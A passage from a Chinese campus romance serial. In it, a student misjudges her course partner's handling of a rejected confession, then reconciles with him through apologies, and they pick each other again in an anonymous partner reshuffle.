拿起手机拍了个照片,她准备向怀疑对象确认:【CWS:这是你的吗?】
那边秒回:【ZYB:是。】
楚忘殊发了个“抱歉抱歉”的表情包。【CWS:不好意思,被我不小心放我包里了。】
【CWS:你着急用吗?】
另一头的祝屿白手里捏着一支一摸一样的备用笔,沉思片刻后回复:【ZYB:急用。】
【CWS:那你什么时候有空,我还给你。】
祝屿白看了一眼外面浓墨般的夜色,不行,现在太晚了。
【ZYB:明天下午六点可以吗?】
【ZYB:在图书馆门口?】
楚忘殊发了个OK。
她放下手机,把祝屿白的那支笔放在包里的最内层。
可别把人家东西弄坏了。
放好的瞬间,眼前忽然被一个阴影覆盖,是宋词。
她哭唧唧地抱着她胳膊,让她反驳程以凌说的话。
楚忘殊和程以凌对视一眼,用口型询问:你说什么刺激她了?
对面的人手一摊,“我只是说她嗑的cp是假的。”
身边的人发出尖锐的爆鸣声:“你看你看!她还说!”
楚忘殊:……谁来救救我。
第二天,楚忘殊如愿以偿睡到自然醒。
上午的课十点二十开始,是节很轻松的电影赏析课。
顾名思义,上课的内容就是每次课一部电影,然后随便写个一两百字的感悟就好。
一节课上下来,她还有些意犹未尽。
脑海中忽然想起她的那节恋爱选修课,果然没有对比就没有差距。
和那节课比起来,这节课简直是天堂。
她当时不该听那三个家伙的忽悠去选!
窗外的太阳慢悠悠从天空正中央跑到西边一角。
楚忘殊看了眼时间,发现快到了和祝屿白约定的时间。
她拎起包准备出门,程以凌见状,问了一嘴:“月亮你去哪?今晚不是没课吗?”
“我去找祝屿白。”
三人八卦的眼神立马黏在她身上,吓得她马上补上一句,“他平板的电容笔落在我这了,我去还人家。”
伴随着门咣当一声,楚忘殊的背影消失在三人的视线里。
宋词磕着瓜子,“我敢打赌,这两人一定会擦出点火花。”
程以凌摇着头,竖起食指来回摇晃,“nonono,我看两人绝对没戏,就月亮那不开窍的木头脑袋,配上祝屿白半天憋不出一个屁、话少得要死的人,再大的火花也会熄灭在漫天大雪中。”
嗑cp再次出现分歧,两人齐刷刷地看向韩霜,异口同声道:“你怎么看?”
韩霜:……
要死,就不该凑这个热闹。
她默默拿起床头那本《普林斯顿数学指南》遮住脸,逃离两人的纷争。
图书馆和宿舍楼在同一条直线上,距离不远。
楚忘殊很快就到了。
两人约定的地方在图书馆大门右侧的楼梯口。
只差前面再走一个拐角。
一声清脆中夹杂着羞涩的少女声随着风声送至楚忘殊的耳朵:“祝屿白,我真的很……喜欢你。听说你今年选了恋爱课……”
她声音有些颤抖,深呼口气后,勇敢出声:“这是我第四次和你告白。如果……我是说如果,你想谈恋爱的话,能不能看看我。”
楚忘殊眉梢一挑,快速思考眼前的情景。
打断别人的桃花运,未免太不道德。
她蹑手蹑脚地抬起脚,准备往后离开。
“楚忘殊!”
身后响起祝屿白急促的喊声。
楚忘殊猛然挺住脚步,尴尬地转身。
她不明白祝屿白怎么一副聪明又不聪明的样子。
她明明还在两人的视角盲区,他到底怎么发现她的?
但这种时候叫住自己干嘛啊?
让她充当告白气氛组吗?
她使劲给他眨眼示意,不料他径直走向她,轻声在她说了句抱歉,而后一把搂住她的肩,身体往她的方向靠近。
“抱歉,我不能接受你的告白,因为我已经有喜欢的人了。”
祝屿白轻描淡写的声音砸下,将场上剩余的两人砸蒙圈。
女生不可置信地瞪大眼睛,目光紧紧落在楚忘殊的右肩上。
楚忘殊脑子反应过来,一把推开祝屿白,忙向女生摆手,“不是不是,我们只是朋友,你别误会。”
她不明白祝屿白的迷惑操作,怕女孩伤心,连忙解释。
然而,听完她的话,女孩明显更愤怒了。
她将手里的玫瑰花用力地甩在地上,看向祝屿白:“你不喜欢我也不用随便拉个人羞辱我。”说完哭着跑开。
秋风渐大,卷起一地落叶。
楚忘殊转向祝屿白,喊他:“祝屿白。”语气带着从未有过的冷冽。
她平日里总是一副笑嘻嘻的模样,总给人很好相处的错觉。
好像她从来不会有任何负面情绪,对什么都看得淡,对什么都漠视。
此时此刻,她似乎开始展示了真实的她。
“祝屿白,我知道你有一副讨人喜欢的皮囊,
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也知道有很多人喜欢你。”
“我不是……”祝屿白想解释。
她抬手打断他的话,“但你如果不喜欢别人,应该明明白白地和别人说清楚,而不是吊着别人,甚至欺骗别人。”
她将手里的笔粗暴地塞进祝屿白手里,随后带着一身怒气扬长而去,
气死了,想不到祝屿白居然是这样的人。
让人家女孩子给他告白四次,他脸可真大!
如果他第一次就明确拒绝,别人会再继续告白吗?
肯定是他舍不得这样带来的优越感!
越想越气,她一脚踢开路上的小石子,一声猫叫划破夜空。
额,好像用力过猛,石子砸到了“猫学长”。
“啊啊啊,对不起,我不是故意的,都是被人气到了。”
气归气,但还得给小猫道歉。
她暂时忘记讨伐祝屿白,噔噔噔上楼,再次回来时手里多了两包猫条。
学校的猫早就习惯学生们的投喂,而这次还是靠“挨一次打”换来的,小猫惬意地舒展着橘黄色的猫身,吃着楚忘殊进贡的粮,算是原谅了她刚才的冒犯。
撸完猫,楚忘殊起身,打算回宿舍。
抬眼的一瞬间,她恍惚看到了祝屿白的身影。
她仔细朝那个方向看去,发现空无一人。
算了,想起他就来气。
混蛋。
她离开后,一丛夹竹桃后走出个人影。
祝屿白握着手中的那只电容笔,目送楚忘殊的身影消失,才迈步离开。
——
楚忘殊回到宿舍,一脸气鼓鼓的。
宿舍三人不明所以。
不是去见大帅哥了吗?怎么回来就气成河豚了?
楚忘殊不吐不快,将刚才的情景吐槽一遍。
“你说这人是不是太混蛋了?”她最后总结。
宋词举手:“额,月亮,我不明白你生气的点在哪?”
剩下两人齐齐点头附和。
楚忘殊:“他不拒绝不接受、天天吊着人家女孩子。”
宋词:“你怎么知道他没有拒绝过?”
楚忘殊:“那个女生亲口说了向他告白四次。”
程以凌:“但他有可能每次都拒绝了,是那个女生不死心呢?”
楚忘殊:“谁会被拒绝三次还接着上啊?”
韩霜:“你又不是她,你怎么知道她不会?”
楚忘殊:……
韩霜看她不说话,再次道:“祝屿白这次可能就是想让那个女孩子死心,才拉你当但挡箭牌的。”
楚忘殊语气弱了些,“那他之前怎么不这样做?”
韩霜摊摊手,“宋词,你八卦消息最灵通,你听说过之前祝屿白身边有什么女孩吗?”
宋词抗议道:“搞得好像我只关注八卦一样。”说完还是很诚实地回答道:“确实一个都没有。”
“总不能拉他兄弟当吧。”韩霜一脸了然地道。
程以凌补充,“那误会就大了。”
楚忘殊:……
难道她真的误会了?
很久没说话的宋词忽然盯着楚忘殊,“月亮,你不对劲。”
楚忘殊:“我怎么了?”
宋词:“你对祝屿白的事情反应为什么这么大?”
9. 搭子日记九
“我……我就单纯见不得他伤害女孩子的感情!”
楚忘殊愣了一秒,最后道。
“真的?”宋词撑着下巴,一脸审视地盯着她,似乎要把她脸上的每个微表情都看清楚。
楚忘殊:“当然,怎么着他也算我朋友啊,我可忍不了我朋友是个如此道德低下的人!”她义愤填膺。
说完后,其余三人若有所思。
楚忘殊没再继续和三人争论,刚才的话已经使她的猜想摇摇欲坠。
她不会……真的错怪了祝屿白吧?
好烦!
她指头轻敲着桌子——这是她烦躁时的下意识动作,目光落在黑屏手机上。
她要不要……向人道个歉?
算了算了,所有的一切都还是推测,也没有确切的证据表明他是无辜的对吧?
她将手机推出自己视线范围外,站起身换衣服去洗漱了。
“你睡这么早?”
“昂。”
睡一觉就没那么多烦心事了。
楚忘殊进浴室后,宋词忽然笑出声,朝程以凌挤眉弄眼,得瑟十足:“哈哈哈哈哈哈,看来这次又是我赢咯~”
“切,你什么时候赢过我?是指你每次的阿Q式胜利法吗?”程以凌欣赏着下午刚做的美甲,气定神闲地反击。
“哼,你等着看吧。”
“奉陪到底。”
第二天,本是宿舍集体出行去吃吃吃的惯例,不料韩霜突然接到去实验室的通知。
她大一下学期参加了大创赛,大多课余时间都献给了实验室,不过周六去倒还是第一次。
寝室活动无奈取消,楚忘殊百无聊赖,带着包不知不觉到了图书馆。
图书馆玻璃大门外,她杵在正中央,看着玻璃门内模糊的倒影陷入沉思。
她为什么会到这?
来都来了,进去看一眼吧。
楚忘殊这样想,掏出学生证刷过闸机。
江大嘉禾校区的柄凌图书馆很大,是所有校区里最大的,藏书也最丰富。
柄凌一共有十二层楼,四楼是自习室,八楼是教务处办公室,以及大会议室。
除此之外,都是藏书。
一楼的藏书最多,同时也是“课外书”最多的地方,其余的楼层大多是专业书。
她直奔一楼而去。
一楼安静得落针可闻,进门左右手边陈列着一张长桌,图书管理员正在办公。
往下是自主借书和还书机,紧挨着一堵白墙。
再往下,便是一排排书架,上面分门别类编好编号,方便寻找。
楚忘殊没特别想看的,直接忽略了标签,打算看到哪本顺眼就看哪本。
藏书室人少,又开了空调,越往里走,越觉得阴凉。
“啪——”
有人拍了下她肩膀。
楚忘殊吓得要死,还好脑袋还运转着,记得这是在图书馆,下意识抬起手捂住嘴,这才没有惊呼出声。
她惊恐回头,身后站着个栗色卷发的男生。
男生不好意思地向她笑笑,“抱歉吓到你了。”
“没事……”她不动声色后退半步,拉开两人的距离,“我们……认识吗?”
卷毛男生伸出手,扬起个温暖的笑容,“你好,我叫苏逢秋。你可能不认识我,但我认识你。”
“你好。”楚忘殊眼神里堆满困惑,但不忘该有的礼仪,握上他的手,算是打招呼。
“请问你找我什么事?”
“哦,你看我差点忘了正事。”他从身后拿出一个白色信封,双手递给楚忘殊。
“这是?”
楚忘殊没急着接,开口问道。
“祝屿白请我转交给你的。”苏逢秋解释道,他非常自来熟,笑着和楚忘殊分享,“你知道他用了什么方法才让我答应他吗?”
“他答应给我洗一星期袜子!”他啧啧两声,“不容易啊。”
和祝屿白做了两年多室友,两人从大一就在一个寝室,再到大二出国交换也在一个寝室。
他还从来没见过祝屿白拜托他什么事。
虽然这次就算他不提出条件,他也会帮忙,毕竟——他抬眼看一眼楚忘殊——他对眼前这人也十分好奇。
但有机会占祝屿白这人的便宜,何乐而不为呢。
听到熟悉的名字,楚忘殊一怔,“他自己怎么不来?”说着伸手接过信封。
苏逢秋:“他说你现在应该不想见到他。”语气掩饰不住的幸灾乐祸。
“好了,我的任务圆满完成,我走了,下次有机会再见。”
楚忘殊:“谢谢,再见。”
苏逢秋长腿一迈,没几秒就出了门。
楚忘殊手里捏着信封,上面行云流水地写着“道歉信”三个字,
她进了阅览室,找了个空位置坐下,纠结要不要看信件内容。
一分钟、两分钟……
十分钟过去后,她做出决定——看。
她不是想看他的解释,她只是想看他的字。
她心里如是对自己说。
没错,第一次看到他的字,她就很想收藏下来,这样的字写在纸上肯定十分赏心悦目。
【对不起。
我知道你很生气,但请给我一个机会。
我明白你生气的理由,你觉得我是故意对别人态度模糊,不拒绝不接受,享受被追逐的滋味。
我想向你解释的是,首先我明确地说了我喜欢别人,我对每一个人都是一样的拒绝。】
这句话的后边用括号标注了一行小字:(当然你不要误会,也没有很多人追我)。
楚忘殊看着有些心虚,韩霜几人的话本就让她的猜测摇摇欲坠,现在看到正主的话,直接为她下达了判决。
她继续往下看:
【对于这次说你是我女朋友,而去拒绝人,我意识到是我处理方式不对。这样不仅是对你的冒犯,还是对别人的欺骗。
很抱歉,我对这种事的处理经验不足。我已对女生再次道歉,并再一次向她说明我的态度,已取得她的原谅。】
往下是一串数字,祝屿白在后面写“这是她的联系方式,你可以向她验证。”
【再次对不起。——祝屿白】
楚忘殊看完,心情久久不能平静。
她放下信,抬头看向窗外摇曳的树叶,几只鸟在周围翻飞。
细想起来,是她太先入为主。
一上来就将祝屿白贴上十恶不赦的标签,仅凭自己的猜测就将他想成浪荡不堪的混蛋。
好像——她的错更多。
他却还向她道歉……
这样看起来,“混蛋”这个词好像更适合用来形容她。
楚忘殊小心地将信件收起来,没有再去加女生的联系方式。
事实已经很明显了不是吗?
她走出图书馆大门,看向碧蓝色的天空。
她翻出祝屿白的微信,点开聊天框。
做错了事不该因为拉不下面子而逃避。
信息编辑到一半,一条验证消息跳出。
【我是秦悦熙。】
直觉告诉她,这人似乎也和祝屿白有关系,她点击同意。
对方立马发过来一条消息:【能见一面吗?】
附带一个位置链接,是学校最近的一家咖啡馆。
——
楚忘殊到达咖啡馆时,一眼就看到了窗边
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带着墨镜的女生。
“秦悦熙?”她记得验证消息里是叫这个名字?
“嗯,是我。”嗓音轻灵,很熟悉。
楚忘殊想起来,是那晚向祝屿白表白的人。
"你找我有什么事吗?"
秦悦熙掠过她的话,只是看着她,忽然说,“你知道喜欢一个人五年是什么感觉吗?”
“额……我不太了解。”
这个话题对她来说太过超纲,楚忘殊有些不知所措地回答。
她从小到大,都忙着学习,考各种各样的证,练各种各样的乐器,想要变得更优秀,想要得到那个人的认可。
青春里的那些悸动,从来不曾发生在她身上。
身边也不是没有人向她暗戳戳表白,但当时的她一心只顾着往前走,对这些细腻的情感自动屏蔽。
一路迟钝地走来,感情好像成了她的一个知识盲区。
好在秦悦熙并不在乎她的答案,而是自顾自地说道:“我和他初高中同校,我从高一就开始喜欢他,甚至为了他拼命学习,终于和他来到了同一所大学。”
楚忘殊知道这里的“他”指的是祝屿白。
她想开口安慰眼前的女孩,却又不知道如何开口。
“你知道吗?我向他表白了四次,每一次都得到他的冰冷拒绝,可是我总是在想,他身边从来没有出现过其他人的身影,那是不是意味着我还有机会。”
“只要我一直等,总会等他回头看到我。”
她沉浸在自己的世界中,声音夹杂着哽咽,似乎把楚忘殊当成最后一根救命稻草,倾诉着深埋在心底的惊涛骇浪。
“我听说他这学期选了恋爱选修课,我以为我终于有机会了,所以我再一次找到他,没想到看到了他身边的你。”
她说完看向楚忘殊。
楚忘殊连忙摆手,笨拙地解释:“我们真的只是朋友。”
“我知道,”秦悦熙笑了下,“对不起啊,昨晚我气昏了头,语气太冲。”
“没事没事,我能理解。”楚忘殊看到她情绪不再那么悲伤,默默松了口气
秦悦熙看着她想安慰自己却又不知道如何开口的模样,有些好笑,她想让氛围轻松些,于是自嘲道:“你说我这么上赶着送上门,是不是很傻。”
“不是。”楚忘殊毫不迟疑地回答她。
“你这不叫‘上赶着送上门’,你这是勇敢,是堪比世界上最绚烂的宝石更珍贵的宝物。”她郑重地说,“只是这样珍宝需要一个对的人才值得。”
“请别因为一个不值得的人丢掉这样的勇气。”
秦悦熙被她的话震动,她第一次从一个人嘴里听到在提及祝屿白的时候与“不值得的人”挂钩。
祝屿白是她整个少女时期追逐的白鲸,是她在难过时光靠想想就觉得快乐的人。
虽然这一切他都不知道,但她对此甘之如饴。
这样的一个人,如今有人说他是“不值得的人”。
这样的感觉,很奇妙。
不过,好像不赖。
她想起不久前祝屿白找到自己,向自己道歉希望取得自己的原谅。
其实她根本不怪他,怪只怪自己,再被拒绝那么多次后依然喜欢他。
秦悦熙在告白前,早已做好了被拒的准备,甚至想好了下一次的表白。
在她来见楚忘殊之前,她都还没有放弃的念头。
可是,她抬眼看着楚忘殊,想着她安慰自己的一番话。
忽然就觉得不要再喜欢祝屿白了。
她忽然理解了祝屿白找她时和她说的一番话:“我有喜欢的人,她很好很好。”
是啊,眼前这个人好到连自己都想和她做朋友。
10. 搭子日记十
“There''sarhythminrushthesedays.Wherethelightsdon''tmoveandthecolorsdon''tfade.”
(在这些日子里有一段音韵不断地在脑海中萦绕,悄悄倾诉着远方有一个永昼的缤纷世界。)
周一早上七点,闹钟声响起。
楚忘殊倏地睁开眼,迅速关掉声音,轻手轻脚地掀开被子,下了床。
穿衣、洗漱、换鞋,动作一气呵成。
她拎起书包,警惕着脚下不要发出任何声响,蹑手蹑脚打开宿舍门。
“咔哒”一声,门轻声关上。
顺利出来后,楚忘殊这才放松下来。还好没有吵醒她们,她背起包下了楼。
走出宿舍楼,几缕阳光从郁郁葱葱的杜仲树叶隙中漏下来,好似蚕丝般悬在空气中。
婉转空灵的鸟鸣声宣告着清晨的开始。
天气真是好极了。
但她此刻没有心情欣赏。
她疾步奔向食堂,出来时双手满满当当。
希望预想的没错,跑向教学楼时,她心想。
一楼、二楼、三楼……
拐上三楼的第二阶楼梯,她喘得上气不接下气。
四楼到了。
她站在原地平复心情,让砰砰直跳的心脏缓和下来。
眼神停留在“3402”片刻,她推开教室后门。
最后一排坐着一抹熟悉身影。
看来她赌对了。
她将手里的东西一股脑放在桌上,随后拉开椅子坐下。
祝屿白目不斜视。
楚忘殊做着心理建设,随后有些别扭地开口:“吃早餐吗?”
像是生怕他拒绝一样,她急促道:“我给我室友们买的,一不小心买多了。如果你不吃的话就很浪费。”
祝屿白:……
他望着桌上各式各样的早餐,都快堆成山了,她是把食堂方便外带的早餐都买了一份吧。
但如果他没记错的话,她宿舍不是都踩点上课,不会去吃食堂的早餐吗?
祝屿白:“谢谢。”他没点破,很配合地拿了个离他最近的烧麦。
气氛再次沉默下去。
现在时间尚早,教室里只有他们两人。
祝屿白吃东西几乎没声音,室内唯一的声源只有头顶呼呼运转的空调制冷声。
“对不起。”楚忘殊忽然说,“这些早餐也不是买给室友的,是买来向你道歉的。”
声音有些微弱,不似她往常的语调。
“为什么说对不起?”
祝屿白放下手里的烧麦,透过桌上堆积着的早餐看着她。
该说对不起的明明是他。
“我不该仅凭自己的猜测,就觉得你人品不好,觉得你是一个不负责任的人。”楚忘殊低着头,瓮声道。
“楚忘殊,”祝屿白忽然叫她名字。她应声抬头,在他漆黑的瞳孔看到自己的身影,耳边是他一字一句的话语:“是我做的不好,才会让你产生这样的误会。”
“我向你保证,不会再有下一次。”
但如果可以的话,你能不能多看看我,多了解我一点。
最后的话他没有说出口,只是专注地看着她。
两人视线在空中交汇,好半天没人说话。
楚忘殊从他深邃的眼神里读出很多陌生的东西,很奇怪,但又转瞬即逝,没等她仔细看就消失了,好似片刻的海市蜃楼。
“那……我们现在还是朋友吗?”她试探性开口。
祝屿白轻声道:“对,朋友。”
楚忘殊笑了出来。
祝屿白也笑。
她看着桌上小山堆似的早餐,一抹尴尬浮现,“额……这些怎么办?”
祝屿白顺着她的视线看过去,沉思片刻,“要不送给保洁阿姨?”
江大的教学楼每层都有一个保洁,每天早八课前、每次晚课后,都会打扫一次。
现在这个点,正是阿姨们上班的时候。
楚忘殊隔着包装袋看东西是否还热着的,确定都还热乎后,两人说干就干,开始跑上跑下地为这栋楼每一层的阿姨们送去。
阿姨们受宠若惊,在衣服上擦过手之后才接过去,然后用方言对两人表示感谢。
担心两人听不懂,还会特意用不太熟练的普通话说着“谢谢”。
楚忘殊不是本地人,阿姨们大多数的话都听不懂,但不妨碍她接收到善意。
各地乡音不同,但善意共通。
一切弄完,两人回到教室后,楚忘殊整个人累得摊在座位上。
虽然只是上上下下楼梯,但已经远超她运动量了……
陆陆续续有人进来,楚忘殊趴着看手机。
宿舍群有人@她。
【@CWS:你走了?我还以为你睡过头了,掀开床帘,哦豁,好嘛,人已经没在了。】
她调整了趴着的姿势,腾出手打字:【啊对,太早了怕吵到你们就没叫你们。】
宋词在群里@其他两人,【宋词:今天太阳打西边出来了?】
紧跟其后又问楚忘殊:【宋词:你这么早起来干嘛?以往我叫你起床跟要了你的命一样……】
楚忘殊被她逗乐,肩膀笑得直抖,【当然是——学雷锋,做好事!】
【宋词:……】
【程以凌:……】
两人无语完,两分钟后,群里又多了一条消息:
【韩霜:……】
保持队形整齐。
上课铃声响,尹老师走进教室。
楚忘殊看向讲台,今天的尹老师终于放弃了他那一身“教导主任专用着装”,换了身和今天天气十分应景的颜色。
把保温杯放在桌子上,他双手一拍,“同学们,今天我们先不上课,先来完成今天的作业。”
“老师,作业是什么啊?”
“急什么急啊,老师马上就说了。”
“就你懂。”
第一排固定的那两个同学又开始了每次课的保留节目——唱双簧,逗得全班直乐。
尹老师扶了下黑框眼镜,“哟,看来同学们都很急啊,那咱们开始吧。”
“把你们的手机关机交上来。”
“啊?”
教室里瞬间发出惨叫一片,不会是不准上课玩手机了吧?
不要啊!那真的要蹲两节课的“监狱”了。
尹老师一副“我还不知道你们心里那点小九九”的模样,出声让他们悬着的心落地:“放心,待会马上还给你们。”
见他这么说,众人这才松口气,陆陆续续将手机关机送上讲台。
楚忘殊累得不想动,就把手机递给祝屿白,麻烦他一起带上去。
手机交完,尹老师巡视一圈教室,又问:“你们都是和自己组队对象坐一起的吗?”
“是。”
大部分人应声道。
楚忘殊很不解,凑近祝屿白小声询问:“你觉得老师接下来要干嘛啊?”
话音刚落,尹老师声音穿透整个教室,“那你们重新找位置坐。”
在众人疑惑的目光下,他继续说出他的要求:“你们坐哪都行,
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想上讲台来都行,只有一个要求,和你们的组队对象离得越远越好。”
“快快快,动起来,还愣着干嘛。”他看底下的人还一副清澈不解的样子,催促道。
众人麻溜地开始交换位置。
楚忘殊磨磨蹭蹭地站起来,打算去第一排。
衣角忽然被人拉住。
她低下头,发现是祝屿白。
“怎么了吗?”
祝屿白:“你去哪?”
楚忘殊:???
不是,大哥你比我还不专心听课啊?
老师说搭档不能坐一起,你还四平八稳地坐着,一丝移动的迹象都么得,不得我上去?
“不然我坐下,你上去?”
祝屿白从她无语的话中,终于意识到他问题的愚蠢。
他尴尬地松开手,摸摸鼻子。
“还是你去吧。”
楚忘殊:……
五分钟后,教室重新恢复平静。
“我们课程也上了好几周了,不管大家的队友是怎么来的,是用一顿火锅换来的,还是用一颗真心打动了来的,都没关系。”
“经过这几周的相处,相信大家都对自己的队友有了充分的了解。”
“或许你觉得对方不符合你的要求,也或许你认为对方值得你再相处下去。”
“所以,今天我们的任务就是——匿名重组。”尹老师说出大家一直期待的任务,随后接着道:“现在大家把我打印好的选课名单往后传,在左上角写好你的学号和名字。”
“如果想换,直接在想换的同学姓名前打勾就行,如果不换,请简单注明原因。”
楚忘殊坐在第一排,留下自己的纸,将剩余的往后传后,随后转过头对着空白纸发呆。
怎么办怎么办,祝屿白会不会嫌她拖后腿,不想和她组队了啊?
脑海里第一次作业血淋淋的最低分肆意横冲,企图让她明白祝屿白是不可能选她的。
要是她写了他,他没选她岂不是很没面子?
可是,选别人的话又要重新认识、熟悉……
好累!
该死的课,下学期再也不选了!她一定会把这门课向后来的学弟学妹们狠狠避雷的!
对着选课名单看了很久,她提笔写下:
我的组队对象英俊潇洒、风流倜傥、面如冠玉、目若朗星、丰神俊秀、满腹经纶、才华横溢、沉鱼落雁、闭月羞花、上得厅堂下得厨房……
所以我决定不更换。
尹老师在教室过道来回走动,见大多数都放下笔,说道:“大家都选好了吗?那请最好一排的同学起来收一下,交上来给我。”
楚忘殊还在忐忑祝屿白会不会选她,在那咬唇思考。
有人来收作业,她递过去,对面的人似乎停留一瞬,然后接过,转身将作业放在讲桌上。
楚忘殊灵光一闪,忽然觉得刚才的人有些眼熟,她抬眼向讲台看过去,和祝屿白对上视线。
她轻声询问他选她了吗?
不过祝屿白似乎没看懂她的口型,没回答。
楚忘殊更焦急了。
救命他不会真的没选她吧,所以当作没看见不正面回答?
好在这时,作业全部交完,尹老师发话说可以回到原座位上,顺便把手机拿下去。
楚忘殊在第一排占据优势地位,一个健步冲上去找到了自己和祝屿白的手机。
上去拿手机的人太多,她艰难地克服重重阻碍,终于到达座位。
她将祝屿白的手机递给他,状似不经意地开口询问:“祝屿白,你选了谁?
11. 搭子日记十一
头顶空调呼呼作响,周围人声叽叽喳喳。
最后一排的两人,好像单独划出屏障,隔绝尘世喧嚣。
祝屿白身体侧着,余光落在楚忘殊身上。
她一脸“我只是随便问问”的样子,眼神飘忽着落在别处,手指快速轻敲着桌面,眼神时不时偷瞄他一下,将她假装不在意的伪装彻底暴露出来。
别扭的样子像一只等待投喂的小松鼠,一脸你爱喂不喂的高傲样,漂亮的眼睛却紧盯着别人手里的松果。
“那么你呢?你选了谁?”祝屿白将问题反抛回去。
不正面回应就是拒绝。
果然!这人就是嫌我菜不选我了!
楚忘殊惆怅不已,完了完了,又得去物色新的搭子,好麻烦啊……
她蔫不拉几地趴在桌子上,转念一想在选人的问题上已经败了一局,这时候怎么说也得扳回一城,不然太逊了。
她挺直腰背,云淡风轻地说道:“那我当然是选了个比你更帅的人啊。”
视线中倏然出现一张棱角分明的脸——祝屿白微微弯腰凑近她,让她的视野里全是他放大版的脸。
一张如同艺术品般的脸就这么毫无征兆地出现,楚忘殊呼吸滞了一瞬。
“教室里还有比我更帅的人吗?”祝屿白惯常的语调响起。
楚忘殊回神,闻言笑了下,一脸嫌弃,“看不出来你还挺自恋。”
“这不是陈述事实吗?”祝屿白直起身,耳朵微微发烫。
楚忘殊:“……”
事实就该这么“不要脸”地说出来吗?!
她没按耐住好奇心,想知道他到底选了谁。
祝屿白瞟她一眼,眼里真就纯粹的好奇,貌似还有一丝八卦。
“楚忘殊。”
“怎么了?”
“有没有人说过你真的很像一个笨蛋。”
楚忘殊不明所以,很认真地思考起来,“没有啊,我从小到大周围人都夸我聪明。”
祝屿白:“……”
“我选了你。”说完,他好整以暇地观察着她的反应。
凭这笨蛋奇怪的脑回路,自己不说她怕是能把教室里所有人猜一圈。
“那你前面怎么说你选了别人?”楚忘殊意识到自己被骗了。
“我什么时候说了?”
楚忘殊:“……”
对哦,好像从头到尾都是她推测的。
她语气弱了一些,“那我问你选我没,你不回答我。”
说完,她为自己的话找到了支撑点,“顾左右而言他,不就是拒绝?”
祝屿白被她如此自洽的逻辑差点气笑,“好好好,我的错。”
他的选项里,从来只有一个答案。
“那你呢,选了哪个更帅的人?”祝屿白忽然问。
楚忘殊声音更低了,头也不抬地随便指个方向,“……就那个啊。”
“哪个?”祝屿白强忍着笑意追问,“那个英俊潇洒、风流倜傥、面如冠玉……的人吗?”
楚忘殊猛然抬起头,意识道他看到了自己的答案,“你早就知道了?”
祝屿白点头。
楚忘殊:“……”
她攥紧拳头,努力忍住抡向祝屿白的冲动。
法治社会打人犯法。
祝屿白忽略她那简直想把自己撕碎的眼神,不怕死地继续问:“前面的我都认可,不过这沉鱼落雁、闭月羞花你需要解释一下吗?”
楚忘殊理直气壮:“我们祝大学神也有不懂的吗?”她说完看一眼祝屿白,故意气他:“当然是夸你长得美啊。”
祝屿白眉梢一挑,“哦?”
楚忘殊换了副表情,右手搭上他的肩,装模做样地拍了几下,语重心长道:“好兄弟,你是个尊贵人,女孩般的人品。”
她捏着嗓子说话,语气倒还真有几分凤姐说话时的影子。
“你不认同吗?”她睨他一眼。
祝屿白在她说话的时候就一直在笑,看着她说完,十分配合她,“我认同,非常认同。”
楚忘殊勾了一下嘴角,“那就好,拥有女孩般的心性是对一个男孩子最大的赞美。”
插科打诨完,她突然感叹,“哎,真好,我们都选了对方。”
祝屿白饶有兴趣地接话:“好在哪?”
楚忘殊:“我们算老搭档了啊,我们都选了对方的话,就不用再从头开始认识熟悉一个人,那样好累啊。”
祝屿白没出声,像是陷入沉思。
楚忘殊:“哎,你怎么不说话?该不会你后悔了想换个人?”
祝屿白呵了一声,“当然不是,”说话间他视线移到楚忘殊身上,“你不要后悔才好。”
时间慢慢流逝,本次课在尹老师“我们今天的课就讲到这里,同学们下次见。”中正式落下帷幕。
同学们稀稀拉拉地起身,开始赶往下一间上课的教室。
尹老师慢悠悠地喝了口茶,才抱起讲台上的作业离开。
江大教学楼每层走廊的尽头都是教师休息室。
往常尹老师下课后都会直接去停车场开车回家,这次却抱着作业进了休息室,打算看完再走。
休息室内还有个人。
尹老师看到人,打了声招呼,“吴教授,您下午还有课呢?”
被称作“吴教授”的人是江大计算机院的教授吴建军,还是学科带头人,在学术上建树颇多;教学事业上也带出了很多人才,每年都有许多人回来看他。
他虽已年近六十,快到了退休的年纪,但精气神非常饱满,带着副眼镜,儒雅风度十足。
“没课了,只是下午有个学生有问题想问,我等着给他讲完再走。”吴教授提到那个学生时,一脸欣赏,语气掩饰不住的骄傲。
尹老师翻着手里的作业,在电脑上做着整理,将想要换组或者不换的人都看一遍,重新整理出来一份新的名单。
听到吴教授的话,尹老师搭着话,“现在还有学生这么好学不容易啊。”
吴教授感叹了句,“是啊。现在的年轻人比我们当年条件好,但同样也面对着很多当时我们没有的挑战。在这样浮躁的环境下,能潜下心的人确实是不容易。”
他不知道想到什么,饶有兴趣地继续道:“可能我那个学生你也认识。”
尹老师来了兴趣,“哦?是吗?他叫什么?”
“祝屿白。”吴教授笑着说,话里满是善意的调侃,“这
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小子长得不错,听说在学校挺出名的。”
听到这个名字,尹老师呵呵一笑,“这不巧了嘛,我不仅认识,还刚好在上他选的一门选修课呢。”
吴教授有些疑惑:“会不会是同名,那小子的选修课学分上学期早修满了。”
“应该不能吧,我看我班上那‘祝屿白’确实长得挺不错的。”尹老师翻着那堆作业,最后终于找到想要的。
他将写着祝屿白学号和名字的那张A4纸递到吴教授面前,“您看看字迹是不是?”
吴教授接过来,扶了扶眼镜,仔细观察,“还真是,这小子的字和他那个人一样,很有特点,错不了。”
“没有选项,只有目标。——祝屿白”吴教授看着字念出来,随后问尹老师他们这课上什么内容。
尹老师简洁明了地向他解释一番。
听完尹老师的解答,吴教授了然一笑,“哟,看来这小子是有了喜欢的人。”
“嗯,应该是,教授您还不知道吧,这个祝屿白第一节课我点起来问为什么选自己的组队对象,您猜他怎么说?”
吴教授:“他说什么?”
“一见钟情。”
尹老师那时候并不认识祝屿白,但他回答这个问题后就给他留下了深刻印象。
一直让他记到现在。
吴教授笑呵呵的,赞赏道:“年轻人敢爱敢恨一点好啊,就是要这样朝气蓬勃。”
——
教学楼下,金灿灿的桂花开得正绚烂,馥郁的桂花香弥漫在空中,中和烈日带来的闷热烦躁。
砖红色塑胶跑道上,祝屿白和楚忘殊一起走着。
“你刚才要说什么?”
楚忘殊这周的三四节没课,方才一下课她就想溜回宿舍,祝屿白忽然叫住她。
下课人声太吵,两人走到一个稍微安静的地方,楚忘殊想起来问他。
阳光将两人影子拉长,两人并肩走着,影子交融在一起,祝屿白视线落在上面。
“这周六周末你有事吗?”他移开视线,轻声问。
楚忘殊摇头,“应该没有。”
“那要不考虑考虑和我参加个活动?”
“什么活动?”
